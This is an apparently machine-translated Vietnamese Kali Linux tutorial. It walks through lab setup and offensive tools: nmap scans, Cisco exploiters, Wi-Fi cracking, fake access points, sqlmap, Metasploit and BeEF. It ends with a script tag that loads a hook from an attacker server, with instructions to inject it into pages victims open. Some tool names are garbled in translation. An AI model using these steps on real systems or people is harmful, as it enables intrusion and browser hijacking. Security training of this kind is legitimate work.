Kali Linux - Hướng dẫn nhanh

Kali Linux là một trong những gói bảo mật tốt nhất của một hacker có đạo đức, chứa một bộ công cụ được chia theo các hạng mục. Nó là một nguồn mở và trang web chính thức của nó làhttps://www.kali.org.

Nói chung, Kali Linux có thể được cài đặt trong máy dưới dạng Hệ điều hành, dưới dạng máy ảo mà chúng ta sẽ thảo luận trong phần sau. Cài đặt Kali Linux là một tùy chọn thiết thực vì nó cung cấp nhiều tùy chọn hơn để làm việc và kết hợp các công cụ. Bạn cũng có thể tạo đĩa CD hoặc USB khởi động trực tiếp. Tất cả điều này có thể được tìm thấy trong liên kết sau:https://www.kali.org/downloads/

BackTracklà phiên bản cũ của phân phối Kali Linux. Bản phát hành mới nhất là Kali 2016.1 và nó được cập nhật rất thường xuyên.

Để cài đặt Kali Linux -

  • Đầu tiên, chúng ta sẽ tải hộp Virtual và cài đặt nó.
  • Sau đó, chúng tôi sẽ tải xuống và cài đặt bản phân phối Kali Linux.

Tải xuống và cài đặt Hộp ảo

Hộp ảo đặc biệt hữu ích khi bạn muốn kiểm tra thứ gì đó trên Kali Linux mà bạn không chắc chắn. Chạy Kali Linux trên Hộp ảo an toàn khi bạn muốn thử nghiệm với các gói không xác định hoặc khi bạn muốn thử nghiệm mã.

Với sự trợ giúp của Hộp ảo, bạn có thể cài đặt Kali Linux trên hệ thống của mình (không phải trực tiếp trong đĩa cứng) cùng với hệ điều hành chính có thể là MAC hoặc Windows hoặc một phiên bản Linux khác.

Hãy hiểu cách bạn có thể tải xuống và cài đặt Hộp ảo trên hệ thống của mình.

Step 1 - Để tải xuống, hãy truy cập https://www.virtualbox.org/wiki/Downloads. Tùy thuộc vào hệ điều hành của bạn, hãy chọn gói phù hợp. Trong trường hợp này, nó sẽ là cái đầu tiên dành cho Windows như trong ảnh chụp màn hình sau.

Step 2 - Bấm Next.

Step 3- Trang tiếp theo sẽ cung cấp cho bạn các tùy chọn để chọn vị trí mà bạn muốn cài đặt ứng dụng. Trong trường hợp này, hãy để nó làm mặc định và nhấp vàoNext.

Step 4 - Bấm Next và những thứ sau Custom Setupảnh chụp màn hình bật lên. Chọn các tính năng bạn muốn cài đặt và nhấp vào Tiếp theo.

Step 5 - Bấm Yes để tiến hành cài đặt.

Step 6 - Sự Ready to Installmàn hình bật lên. Nhấp vào Cài đặt.

Step 7 - Nhấp vào Finish cái nút.

Ứng dụng Hộp ảo bây giờ sẽ mở ra như được hiển thị trong ảnh chụp màn hình sau. Bây giờ chúng tôi đã sẵn sàng cài đặt phần còn lại của các máy chủ cho sách hướng dẫn này và điều này cũng được khuyến nghị để sử dụng chuyên nghiệp.

Cài đặt Kali Linux

Bây giờ chúng ta đã cài đặt Virtual Box thành công, hãy chuyển sang bước tiếp theo và cài đặt Kali Linux.

Step 1 - Tải xuống gói Kali Linux từ trang web chính thức của nó: https://www.kali.org/downloads/

Step 2 - Bấm VirtualBox → New như thể hiện trong ảnh chụp màn hình sau.

Step 3 - Chọn đúng virtual hard disk file và bấm vào Open.

Step 4- Ảnh chụp màn hình sau bật lên. Nhấn vàoCreate cái nút.

Step 5- Khởi động Kali OS. Tên người dùng mặc định làroot và mật khẩu là toor.

Cập nhật Kali

Điều quan trọng là phải tiếp tục cập nhật Kali Linux và các công cụ của nó lên các phiên bản mới để vẫn hoạt động. Sau đây là các bước để cập nhật Kali.

Step 1- Đi tới Ứng dụng → Thiết bị đầu cuối. Sau đó, gõ “apt-get update” và quá trình cập nhật sẽ diễn ra như thể hiện trong ảnh chụp màn hình sau.

Step 2 - Bây giờ để nâng cấp các công cụ, hãy gõ “apt-get upgrade” và các gói mới sẽ được tải xuống.

Step 3- Nó sẽ hỏi bạn có muốn tiếp tục không. Kiểu“Y”“Enter”.

Step 4 - Để nâng cấp lên phiên bản Hệ điều hành mới hơn, hãy nhập “apt-get distupgrade”.

Thiết lập Phòng thí nghiệm

Trong phần này, chúng tôi sẽ thiết lập một máy kiểm tra khác để thực hiện các bài kiểm tra với sự trợ giúp của các công cụ của Kali Linux.

Step 1 - Tải xuống Metasploitable, là một máy Linux. Nó có thể được tải xuống từ trang web chính thức củaRapid7: https://information.rapid7.com/metasploitabledownload.html?LS=1631875&CS=web

Step 2- Đăng ký bằng cách cung cấp thông tin chi tiết của bạn. Sau khi điền vào biểu mẫu trên, chúng ta có thể tải xuống phần mềm.

Step 3 - Bấm VirtualBox → New.

Step 4 - Bấm “Use an existing virtual hard disk file”. Duyệt qua tệp mà bạn đã tải xuốngMetasploitable và bấm vào Open.

Step 5- Màn hình tạo máy ảo hiện lên. Nhấp vào "Tạo".

Tên người dùng mặc định là msfadmin và mật khẩu là msfadmin.

Trong chương này, chúng ta sẽ thảo luận về các công cụ thu thập thông tin của Kali Linux.

NMAP và ZenMAP

NMAP và ZenMAP là những công cụ hữu ích cho giai đoạn quét Đạo đức Hacking trong Kali Linux. NMAP và ZenMAP thực tế là cùng một công cụ, tuy nhiên NMAP sử dụng dòng lệnh trong khi ZenMAP có GUI.

NMAP là một công cụ tiện ích miễn phí để khám phá mạng và kiểm tra bảo mật. Nhiều hệ thống và quản trị viên mạng cũng thấy nó hữu ích cho các tác vụ như kiểm kê mạng, quản lý lịch nâng cấp dịch vụ và theo dõi máy chủ lưu trữ hoặc thời gian hoạt động của dịch vụ.

NMAP sử dụng các gói IP thô theo những cách mới lạ để xác định máy chủ nào có sẵn trên mạng, dịch vụ nào (tên ứng dụng và phiên bản) mà máy chủ đó đang cung cấp, hệ điều hành (và phiên bản hệ điều hành) chúng đang chạy, loại bộ lọc gói / tường lửa đang được sử dụng, v.v.

Bây giờ, chúng ta hãy đi từng bước và tìm hiểu cách sử dụng NMAP và ZenMAP.

Step 1 - Để mở, vào Ứng dụng → 01-Thu thập thông tin → nmap hoặc zenmap.

Step 2- Bước tiếp theo là phát hiện loại hệ điều hành / phiên bản của máy chủ đích. Dựa trên sự trợ giúp được chỉ ra bởi NMAP, tham số phát hiện loại / phiên bản hệ điều hành là biến “-O”. Để biết thêm thông tin, hãy sử dụng liên kết này:https://nmap.org/book/man-os-detection.html

Lệnh mà chúng tôi sẽ sử dụng là -

nmap -O 192.168.1.101

Ảnh chụp màn hình sau đây cho thấy nơi bạn cần nhập lệnh trên để xem đầu ra Nmap:

Step 3- Tiếp theo, mở cổng TCP và UDP. Để quét tất cả các cổng TCP dựa trên NMAP, hãy sử dụng lệnh sau:

nmap -p 1-65535 -T4  192.168.1.101

Trong đó tham số “–p” cho biết tất cả các cổng TCP phải được quét. Trong trường hợp này, chúng tôi đang quét tất cả các cổng và “-T4” là tốc độ quét mà NMAP phải chạy.

Sau đây là kết quả. Màu xanh lá cây là tất cả các cổng mở TCP và màu đỏ là tất cả các cổng đóng. Tuy nhiên, NMAP không hiển thị vì danh sách quá dài.

Quét ẩn

Quét ẩn hoặc SYN còn được gọi là half-open scan, vì nó không hoàn thành quá trình bắt tay ba chiều TCP. Một hacker gửi một gói SYN đến mục tiêu; nếu khung SYN / ACK được nhận lại, thì nó được giả định là mục tiêu sẽ hoàn thành kết nối và cổng đang lắng nghe. Nếu một RST được nhận lại từ đích, thì nó được cho là cổng không hoạt động hoặc bị đóng.

Bây giờ để xem quét SYN trong thực tế, hãy sử dụng tham số –sStrong NMAP. Sau đây là toàn bộ lệnh:

nmap -sS -T4 192.168.1.101

Ảnh chụp màn hình sau đây cho thấy cách sử dụng lệnh này:

Searchsploit

Searchsploit là công cụ giúp người dùng Kali Linux tìm kiếm trực tiếp bằng dòng lệnh từ kho lưu trữ cơ sở dữ liệu Exploit.

Để mở nó, hãy đi tới Ứng dụng → 08-Công cụ khai thác → tìm kiếm, như thể hiện trong ảnh chụp màn hình sau.

Sau khi mở thiết bị đầu cuối, hãy nhập "searchsploit exploit index name".

Công cụ DNS

Trong phần này, chúng ta sẽ học cách sử dụng một số công cụ DNS mà Kali đã kết hợp. Về cơ bản, các công cụ này giúp chuyển vùng hoặc giải quyết các vấn đề IP miền.

dnsenum.pl

Công cụ đầu tiên là dnsenum.pl là một tập lệnh PERL giúp MX, A và các bản ghi khác kết nối với một miền.

Nhấp vào thiết bị đầu cuối trên bảng điều khiển bên trái.

Kiểu “dnsenum domain name”và tất cả các bản ghi sẽ được hiển thị. Trong trường hợp này, nó hiển thị bản ghi A.

DNSMAP

Công cụ thứ hai là DNSMAPgiúp tìm số điện thoại, danh bạ và miền phụ khác được kết nối với miền này mà chúng tôi đang tìm kiếm. Sau đây là một ví dụ.

Nhấp vào thiết bị đầu cuối như trong phần trên, sau đó viết “dnsmap domain name”

dnstracer

Công cụ thứ ba là dnstracer, xác định nơi một Máy chủ tên miền (DNS) nhất định lấy thông tin của nó cho một tên máy chủ nhất định.

Nhấp vào thiết bị đầu cuối như trong phần trên, sau đó nhập “dnstracer domain name”.

Công cụ LBD

Các công cụ LBD (Load Balancing Detector) rất thú vị vì chúng phát hiện xem một miền nhất định có sử dụng DNS và / hoặc cân bằng tải HTTP hay không. Điều quan trọng là vì nếu bạn có hai máy chủ, máy chủ này hoặc máy chủ kia có thể không được cập nhật và bạn có thể cố gắng khai thác nó. Sau đây là các bước để sử dụng nó:

Đầu tiên, nhấp vào thiết bị đầu cuối trên bảng điều khiển bên trái.

Sau đó, gõ “lbd domainname”. Nếu nó tạo ra kết quả là "FOUND", điều đó có nghĩa là máy chủ có cân bằng tải. Trong trường hợp này, kết quả là "KHÔNG TÌM ĐƯỢC".

Hping3

Hping3 được sử dụng rộng rãi bởi các hacker có đạo đức. Nó gần tương tự như công cụ ping nhưng cao cấp hơn, vì nó có thể vượt qua bộ lọc tường lửa và sử dụng các giao thức TCP, UDP, ICMP và RAW-IP. Nó có một chế độ theo dõi và khả năng gửi các tập tin giữa một kênh được bao phủ.

Nhấp vào thiết bị đầu cuối trên bảng điều khiển bên trái.

Kiểu “hping3 –h” sẽ chỉ ra cách sử dụng lệnh này.

Lệnh khác là “hping3 domain or IP -parameter”

Trong chương này, chúng ta sẽ học cách sử dụng một số công cụ giúp chúng ta khai thác các thiết bị hoặc ứng dụng để có được quyền truy cập.

Công cụ của Cisco

Kali có một số công cụ có thể được sử dụng để khai thác bộ định tuyến Cisco. Một trong những công cụ như vậy làCisco-torch được sử dụng để quét hàng loạt, lấy dấu vân tay và khai thác.

Hãy mở bảng điều khiển Terminal bằng cách nhấp vào khung bên trái.

Sau đó, gõ “cisco-torch –parameter IP of host” và nếu không tìm thấy gì để khai thác, thì kết quả sau sẽ được hiển thị.

Để xem các tham số có thể được sử dụng là gì, hãy nhập “cisco-torch ?”

Công cụ kiểm toán của Cisco

Nó là một tập lệnh PERL, quét các bộ định tuyến của Cisco để tìm các lỗ hổng phổ biến. Để sử dụng nó, hãy mở lại terminal ở khung bên trái như được hiển thị trong phần trước và nhập“CAT –h hostname or IP”.

Bạn có thể thêm thông số cổng “-p” như được hiển thị trong ảnh chụp màn hình sau, trong trường hợp này là 23 để brute-force nó.

Cisco Global Exploiter

Cisco Global Exploiter (CGE) là một công cụ kiểm tra bảo mật tiên tiến, đơn giản và nhanh chóng. Với các công cụ này, bạn có thể thực hiện một số kiểu tấn công như trong ảnh chụp màn hình sau. Tuy nhiên, hãy cẩn thận khi thử nghiệm trong môi trường trực tiếp vì một số trong số chúng có thể làm hỏng thiết bị của Cisco. Ví dụ: tùy chọn

có thể dừng các dịch vụ.

Để sử dụng công cụ này, hãy nhập “cge.pl IPaddress số lượng lỗ hổng ”

Ảnh chụp màn hình sau đây cho thấy kết quả của bài kiểm tra được thực hiện trên bộ định tuyến Cisco đối với lỗ hổng bảo mật số 3 từ danh sách trên. Kết quả cho thấy lỗ hổng đã được khai thác thành công.

GIƯỜNG

BED là một chương trình được thiết kế để kiểm tra daemon về khả năng tràn bộ đệm, chuỗi định dạng, v.v. al.

Trong trường hợp này, chúng tôi sẽ kiểm tra máy thử nghiệm bằng IP 192.168.1.102 và giao thức HTTP.

Lệnh sẽ là “bed –s HTTP –t 192.168.1.102” và thử nghiệm sẽ tiếp tục.

Trong chương này, chúng ta sẽ học cách sử dụng các công cụ bẻ khóa Wi-Fi mà Kali Linux đã kết hợp. Tuy nhiên, điều quan trọng là thẻ không dây mà bạn có chế độ giám sát hỗ trợ.

Fern Wifi Cracker

Fern Wifi cracker là một trong những công cụ mà Kali có để bẻ khóa mạng không dây.

Trước khi mở Fern, chúng ta nên chuyển thẻ không dây sang chế độ giám sát. Để làm điều này, Nhập“airmon-ng start wlan-0” trong thiết bị đầu cuối.

Bây giờ, hãy mở Fern Wireless Cracker.

Step 1 - Ứng dụng → Nhấp vào “Tấn công không dây” → “Fern Wireless Cracker”.

Step 2 - Chọn thẻ Wireless như trong ảnh chụp màn hình sau.

Step 3 - Nhấp vào “Quét điểm truy cập”.

Step 4- Sau khi kết thúc quá trình quét, nó sẽ hiển thị tất cả các mạng không dây được tìm thấy. Trong trường hợp này, chỉ "mạng WPA" được tìm thấy.

Step 5- Nhấp vào mạng WPA như được hiển thị trong ảnh chụp màn hình ở trên. Nó hiển thị tất cả không dây được tìm thấy. Nói chung, trong mạng WPA, nó thực hiện các cuộc tấn công Từ điển như vậy.

Step 6 - Nhấp vào “Duyệt qua” và tìm danh sách từ để sử dụng để tấn công.

Step 7 - Nhấp vào “Wifi Attack”.

Step 8 - Sau khi kết thúc cuộc tấn công từ điển, nó đã tìm thấy mật khẩu và nó sẽ hiển thị như được mô tả trong hình ảnh chụp màn hình sau.

Kismet

Kismet là một công cụ phân tích mạng WIFI. Nó là một hệ thống phát hiện, dò tìm và xâm nhập mạng không dây 802.11 lớp-2. Nó sẽ hoạt động với bất kỳ thẻ không dây nào hỗ trợ chế độ giám sát thô (rfmon) và có thể đánh hơi lưu lượng 802.11a / b / g / n. Nó xác định các mạng bằng cách thu thập các gói và cả các mạng ẩn.

Để sử dụng, hãy chuyển thẻ không dây sang chế độ giám sát và để thực hiện việc này, hãy nhập “airmon-ng start wlan-0” trong thiết bị đầu cuối.

Hãy cùng tìm hiểu cách sử dụng công cụ này.

Step 1 - Để khởi chạy nó, hãy mở terminal và gõ “kismet”.

Step 2 - Nhấp vào “OK”.

Step 3- Nhấp vào “Có” khi nó yêu cầu khởi động Máy chủ Kismet. Nếu không, nó sẽ ngừng hoạt động.

Step 4- Tùy chọn Khởi động, để mặc định. Nhấp vào "Bắt đầu".

Step 5- Bây giờ nó sẽ hiển thị một bảng yêu cầu bạn xác định thẻ không dây. Trong trường hợp đó, hãy nhấp vào Có.

Step 6 - Trong trường hợp này, nguồn không dây là “wlan0”. Nó sẽ phải được viết trong phần“Intf” → nhấp vào “Thêm”.

Step 7 - Nó sẽ bắt đầu dò tìm các mạng wifi như trong ảnh chụp màn hình sau.

Step 8 - Nhấp vào bất kỳ mạng nào, nó tạo ra các chi tiết không dây như được hiển thị trong ảnh chụp màn hình sau.

GISKismet

GISKismet là một công cụ trực quan hóa không dây để biểu diễn dữ liệu được thu thập bằng Kismet một cách thực tế. GISKismet lưu trữ thông tin trong cơ sở dữ liệu để chúng tôi có thể truy vấn dữ liệu và tạo biểu đồ bằng SQL. GISKismet hiện sử dụng SQLite cho cơ sở dữ liệu và tệp GoogleEarth / KML để vẽ đồ thị.

Hãy cùng tìm hiểu cách sử dụng công cụ này.

Step 1 - Để mở GISKismet, hãy vào: Ứng dụng → Nhấp vào “Tấn công không dây” → giskismet.

Như bạn nhớ trong phần trước, chúng tôi đã sử dụng công cụ Kismet để khám phá dữ liệu về mạng không dây và tất cả dữ liệu này Kismet gói trong tệp netXML.

Step 2 - Để nhập tệp này vào Giskismet, gõ “root @ kali: ~ # giskismet -x Kismetfilename.netxml” và nó sẽ bắt đầu nhập tệp.

Sau khi được nhập, chúng tôi có thể nhập chúng vào Google Earth các Điểm phát sóng mà chúng tôi đã tìm thấy trước đây.

Step 3 - Giả sử rằng chúng tôi đã cài đặt Google Earth, chúng tôi nhấp vào Tệp → Mở tệp mà Giskismet đã tạo → Nhấp vào “Mở”.

Bản đồ sau sẽ được hiển thị.

Ghost Phisher

Ghost Phisher là một công cụ phổ biến giúp tạo các điểm truy cập không dây giả và sau đó là tạo Man-in-The-Middle-Attack.

Step 1 - Để mở nó, hãy nhấp vào Ứng dụng → Tấn công không dây → “lừa đảo ma”.

Step 2 - Sau khi mở nó, chúng tôi sẽ thiết lập AP giả bằng các chi tiết sau.

  • Đầu vào giao diện không dây: wlan0
  • SSID: tên AP không dây
  • Địa chỉ IP: IP mà AP sẽ có
  • WAP: Mật khẩu sẽ có SSID này để kết nối

Step 3 - Nhấp vào Start cái nút.

Wifite

Nó là một công cụ không dây khác tấn công nhiều mạng được mã hóa WEP, WPA và WPS liên tiếp.

Đầu tiên, thẻ không dây phải ở chế độ giám sát.

Step 1 - Để mở nó, đi tới Ứng dụng → Tấn công không dây → Wifite.

Step 2 - Loại "wifite –showb"để quét các mạng.

Step 3 - Để bắt đầu tấn công các mạng không dây, hãy nhấp vào Ctrl + C.

Step 4 - Gõ “1” để bẻ khóa mạng không dây đầu tiên.

Step 5 - Sau khi tấn công xong, chìa khóa sẽ được tìm thấy.

Trong chương này, chúng ta sẽ tìm hiểu về thử nghiệm thâm nhập trang web do Kali Linux cung cấp.

Sử dụng Vega

Vega là một nền tảng kiểm tra và quét mã nguồn mở miễn phí để kiểm tra tính bảo mật của các ứng dụng web. Vega có thể giúp bạn tìm và xác thực SQL Injection, Cross-Site Scripting (XSS), vô tình tiết lộ thông tin nhạy cảm và các lỗ hổng khác. Nó được viết bằng Java, dựa trên GUI và chạy trên Linux, OS X và Windows.

Vega bao gồm một máy quét tự động để kiểm tra nhanh và một proxy chặn để kiểm tra chiến thuật. Vega có thể được mở rộng bằng cách sử dụng một API mạnh mẽ trong ngôn ngữ của web: JavaScript. Trang web chính thức làhttps://subgraph.com/vega/

Step 1 - Để mở Vega, hãy vào Ứng dụng → Phân tích ứng dụng 03 web → Vega

Step 2 - Nếu bạn không thấy ứng dụng trong đường dẫn, hãy gõ lệnh sau.

Step 3 - Để bắt đầu quét, nhấp vào dấu “+”.

Step 4- Nhập URL của trang web sẽ được quét. Trong trường hợp này, nó là máy metasploitable → nhấp vào "Next".

Step 5- Đánh dấu vào tất cả các ô của các mô-đun mà bạn muốn được điều khiển. Sau đó, nhấp vào “Tiếp theo”.

Step 6 - Nhấp vào “Tiếp theo” một lần nữa trong ảnh chụp màn hình sau.

Step 7 - Nhấp vào “Hoàn tất”.

Step 8 - Nếu bảng sau bật lên, hãy nhấp vào “Có”.

Quá trình quét sẽ tiếp tục như được hiển thị trong ảnh chụp màn hình sau.

Step 9- Sau khi quá trình quét hoàn tất, trên bảng điều khiển bên trái, bạn có thể thấy tất cả các phát hiện, được phân loại theo mức độ nghiêm trọng. Nếu bạn nhấp vào nó, bạn sẽ thấy tất cả chi tiết về các lỗ hổng trên bảng điều khiển bên phải, chẳng hạn như “Yêu cầu”, “Thảo luận”, “Tác động” và “Biện pháp khắc phục”.

ZapProxy

ZAP-OWASP Zed Attack Proxy là một công cụ kiểm tra thâm nhập tích hợp dễ sử dụng để tìm kiếm các lỗ hổng trong các ứng dụng web. Nó là một giao diện Java.

Step 1 - Để mở ZapProxy, vào Ứng dụng → Phân tích ứng dụng 03 web → owaspzap.

Step 2 - Nhấp vào “Chấp nhận”.

ZAP sẽ bắt đầu tải.

Step 3 - Chọn một trong các Tùy chọn như được hiển thị trong ảnh chụp màn hình sau và nhấp vào “Bắt đầu”.

Web sau đây là siêu phù hợp với IP: 192.168.1.101

Step 4 - Nhập URL của web thử nghiệm tại “URL để tấn công” → nhấp vào “Tấn công”.

Sau khi quá trình quét hoàn tất, ở bảng trên cùng bên trái, bạn sẽ thấy tất cả các trang web đã được thu thập thông tin.

Trong bảng điều khiển bên trái “Cảnh báo”, bạn sẽ thấy tất cả các phát hiện cùng với mô tả.

Step 5 - Nhấp vào “Spider” và bạn sẽ thấy tất cả các liên kết được quét.

Sử dụng Công cụ Cơ sở dữ liệu

sqlmap

sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở tự động hóa quá trình phát hiện và khai thác các lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với một công cụ phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập cuối cùng và một loạt các công tắc kéo dài từ việc lấy dấu cơ sở dữ liệu, tìm nạp dữ liệu từ cơ sở dữ liệu, đến truy cập hệ thống tệp cơ bản và thực hiện các lệnh trên hệ điều hành thông qua out- kết nối băng tần.

Hãy học cách sử dụng sqlmap.

Step 1 - Để mở sqlmap, vào Ứng dụng → 04-Đánh giá cơ sở dữ liệu → sqlmap.

Trang web có các tham số dễ bị tấn công bởi SQL Injection là trang web siêu phù hợp.

Step 2 - Để bắt đầu thử nghiệm tiêm sql, hãy nhập “sqlmap – u URL of victim”

Step 3 - Từ kết quả, bạn sẽ thấy rằng một số biến dễ bị tấn công.

sqlninja

sqlninja là một SQL Injection trên Microsoft SQL Server đến một quyền truy cập GUI đầy đủ. sqlninja là một công cụ được nhắm mục tiêu để khai thác lỗ hổng SQL Injection trên một ứng dụng web sử dụng Microsoft SQL Server làm phần mềm phụ của nó. Thông tin đầy đủ về công cụ này có thể được tìm thấy trênhttp://sqlninja.sourceforge.net/

Step 1 - Để mở sqlninja, hãy vào Ứng dụng → Bài tập 04-Cơ sở dữ liệu → sqlninja.

Công cụ quét CMS

WPScan

WPScan là một trình quét lỗ hổng WordPress hộp đen có thể được sử dụng để quét các cài đặt WordPress từ xa để tìm các vấn đề bảo mật.

Step 1 - Để mở WPscan, hãy vào Ứng dụng → Phân tích ứng dụng 03 web → “wpscan”.

Ảnh chụp màn hình sau bật lên.

Step 2 - Để quét một trang web tìm lỗ hổng, hãy nhập “wpscan –u URL of webpage”.

Nếu máy quét không được cập nhật, nó sẽ yêu cầu bạn cập nhật. Tôi sẽ khuyên bạn nên làm điều đó.

Khi quá trình quét bắt đầu, bạn sẽ thấy những phát hiện. Trong ảnh chụp màn hình sau, các lỗ hổng được biểu thị bằng một mũi tên màu đỏ.

Joomscan

Joomla có lẽ là CMS được sử dụng rộng rãi nhất hiện nay do tính linh hoạt của nó. Đối với CMS này, nó là một trình quét Joomla. Nó sẽ giúp các nhà phát triển web và chuyên gia web giúp xác định các điểm yếu bảo mật có thể có trên các trang Joomla đã triển khai của họ.

Step 1 - Để mở nó, chỉ cần nhấp vào bảng điều khiển bên trái ở thiết bị đầu cuối, sau đó “joomscan – parameter”.

Step 2 - Để được trợ giúp về kiểu sử dụng “joomscan /?”

Step 3 - Để bắt đầu quét, gõ “joomscan –u URL của nạn nhân”.

Kết quả sẽ được hiển thị như trong ảnh chụp màn hình sau.

Công cụ quét SSL

TLSSLedlà một tập lệnh shell Linux được sử dụng để đánh giá tính bảo mật của việc triển khai máy chủ web SSL / TLS (HTTPS) đích. Nó dựa trên sslscan, một trình quét SSL / TLS toàn diện dựa trên thư viện openssl và trên“openssl s_client” công cụ dòng lệnh.

Các thử nghiệm hiện tại bao gồm kiểm tra xem mục tiêu có hỗ trợ giao thức SSLv2, mật mã NULL, mật mã yếu dựa trên độ dài khóa của chúng (40 hoặc 56 bit), tính khả dụng của mật mã mạnh (như AES), nếu chứng chỉ kỹ thuật số được ký MD5 và khả năng thương lượng lại SSL / TLS hiện tại.

Để bắt đầu thử nghiệm, hãy mở một thiết bị đầu cuối và nhập “tlssled URL port“. Nó sẽ bắt đầu kiểm tra chứng chỉ để tìm dữ liệu.

Bạn có thể thấy từ phát hiện rằng chứng chỉ có giá trị đến năm 2018 như được hiển thị bằng màu xanh lá cây trong ảnh chụp màn hình sau.

w3af

w3af là Khung kiểm tra và tấn công ứng dụng web nhằm xác định và khai thác tất cả các lỗ hổng ứng dụng web. Gói này cung cấp Giao diện người dùng đồ họa (GUI) cho khuôn khổ. Nếu bạn chỉ muốn một ứng dụng dòng lệnh, hãy cài đặt w3af-console.

Khung công tác này được gọi là “metasploit cho web”, nhưng nó thực sự còn nhiều hơn thế nữa vì nó cũng phát hiện ra các lỗ hổng ứng dụng web bằng cách sử dụng các kỹ thuật quét hộp đen. Lõi w3af và các plugin của nó được viết hoàn toàn bằng Python. Dự án có hơn 130 plugin, xác định và khai thác SQL injection, cross-site scripting (XSS), bao gồm tệp từ xa và hơn thế nữa.

Step 1 - Để mở nó, đi tới Ứng dụng → Phân tích ứng dụng web 03 → Nhấp vào w3af.

Step 2 - Trên "Mục tiêu", hãy nhập URL của nạn nhân mà trong trường hợp này sẽ là địa chỉ web siêu phù hợp.

Step 3 - Chọn cấu hình → Nhấp vào “Bắt đầu”.

Step 4 - Đi tới “Kết quả” và bạn có thể xem kết quả với các chi tiết.

Trong chương này, chúng ta sẽ tìm hiểu về các công cụ khai thác khác nhau được cung cấp bởi Kali Linux.

Metasploit

Như chúng tôi đã đề cập trước đây, Metasploit là một sản phẩm của Rapid7 và hầu hết các tài nguyên có thể được tìm thấy trên trang web của họ www.metasploit.com . Nó có sẵn trong hai phiên bản - phiên bản thương mại và phiên bản miễn phí. Do đó, sự khác biệt giữa hai phiên bản này là không nhiều, trong trường hợp này, chúng tôi sẽ sử dụng phiên bản Community (miễn phí).

Là một Hacker có đạo đức, bạn sẽ sử dụng “Kali Ditribution” có phiên bản cộng đồng Metasploit được nhúng, cùng với các công cụ hack đạo đức khác rất thoải mái bằng cách tiết kiệm thời gian cài đặt. Tuy nhiên, nếu bạn muốn cài đặt như một công cụ riêng biệt, nó là một ứng dụng có thể được cài đặt trong các hệ điều hành như Linux, Windows và OS X.

Đầu tiên, hãy mở Metasploit Console trong Kali. Sau đó, đi tới Ứng dụng → Công cụ khai thác → Metasploit.

Sau khi khởi động, bạn sẽ thấy màn hình sau, nơi phiên bản Metasploit được gạch chân màu đỏ.

Trong bảng điều khiển, nếu bạn sử dụng trợ giúp hoặc? biểu tượng, nó sẽ hiển thị cho bạn một danh sách với các lệnh của MSP cùng với mô tả của chúng. Bạn có thể chọn dựa trên nhu cầu của bạn và những gì bạn sẽ sử dụng.

Một lệnh quản trị quan trọng khác là msfupdategiúp cập nhật metasploit với các cách khai thác lỗ hổng bảo mật mới nhất. Sau khi chạy lệnh này trong bảng điều khiển, bạn sẽ phải đợi vài phút cho đến khi cập nhật hoàn tất.

Nó có một lệnh hay được gọi là “Tìm kiếm” mà bạn có thể sử dụng để tìm những gì bạn muốn như được hiển thị trong ảnh chụp màn hình sau. Ví dụ: tôi muốn tìm các khai thác liên quan đến Microsoft và lệnh có thểmsf >search name:Microsoft type:exploit.

Trong đó “search” là lệnh, “name” là tên của đối tượng mà chúng ta đang tìm kiếm và “type” là loại script mà chúng ta đang tìm kiếm.

Một lệnh khác là "thông tin". Nó cung cấp thông tin liên quan đến mô-đun hoặc nền tảng nơi nó được sử dụng, tác giả là ai, tham chiếu lỗ hổng bảo mật và giới hạn tải trọng mà điều này có thể có.

Armitage

Armitage GUI cho metasploit là một công cụ bổ sung cho metasploit. Nó hiển thị các mục tiêu, đề xuất khai thác và hiển thị các tính năng nâng cao sau khai thác.

Hãy mở nó, nhưng trước tiên phải mở và khởi động bảng điều khiển metasploit. Để mở Armitage, đi tới Ứng dụng → Công cụ khai thác → Armitage.

Nhấn vào Connect , như được hiển thị trong ảnh chụp màn hình sau.

Khi nó mở ra, bạn sẽ thấy màn hình sau.

Armitage thân thiện với người dùng. Khu vực “Mục tiêu” liệt kê tất cả các máy mà bạn đã phát hiện và bạn đang làm việc, các mục tiêu bị tấn công có màu đỏ với một cơn giông trên đó.

Sau khi hack mục tiêu, bạn có thể nhấp chuột phải vào nó và tiếp tục khám phá những gì bạn cần làm như khám phá (duyệt) các thư mục.

Trong GUI sau, bạn sẽ thấy giao diện cho các thư mục, được gọi là giao diện điều khiển. Chỉ bằng cách nhấp vào các thư mục, bạn có thể điều hướng qua các thư mục mà không cần lệnh metasploit.

Ở phía bên phải của GUI, là phần liệt kê các mô-đun của các lỗ hổng.

Thịt bò

BeEF là viết tắt của Browser Exploitation Framework. Nó là một công cụ kiểm tra thâm nhập tập trung vào trình duyệt web. BeEF cho phép người kiểm tra thâm nhập chuyên nghiệp đánh giá tình trạng bảo mật thực tế của môi trường mục tiêu bằng cách sử dụng các vectơ tấn công phía máy khách.

Đầu tiên, bạn phải cập nhật gói Kali bằng các lệnh sau:

root@kali:/# apt-get update  
root@kali:/# apt-get install beef-xss

Để bắt đầu, hãy sử dụng lệnh sau:

root@kali:/# cd /usr/share/beef-xss  
root@kali:/# ./beef

Mở trình duyệt và nhập tên người dùng và mật khẩu: beef.

BeEF hook là một tệp JavaScript được lưu trữ trên máy chủ BeEF cần chạy trên các trình duyệt máy khách. Khi thực hiện, nó sẽ gọi lại máy chủ BeEF truyền đạt nhiều thông tin về mục tiêu. Nó cũng cho phép chạy các lệnh và mô-đun bổ sung chống lại mục tiêu. Trong ví dụ này, vị trí củaBeEF móc ở http://192.168.1.101:3000/hook.js.

Để tấn công trình duyệt, hãy đưa JavaScript hook vào một trang mà khách hàng sẽ xem. Có một số cách để làm điều đó, tuy nhiên cách dễ nhất là chèn phần sau vào một trang và bằng cách nào đó khiến khách hàng mở nó.

<script src = "http://192.168.1.101:3000/hook.js" type = "text/javascript"></script>

Sau khi trang tải, hãy quay lại Bảng điều khiển BeEF và nhấp vào “Trình duyệt trực tuyến” ở trên cùng bên trái. Sau một vài giây, bạn sẽ thấy cửa sổ bật lên địa chỉ IP của mình đại diện cho một trình duyệt được kết nối. Di chuột qua IP sẽ nhanh chóng cung cấp thông tin như phiên bản trình duyệt, hệ điều hành và những plugin nào được cài đặt.

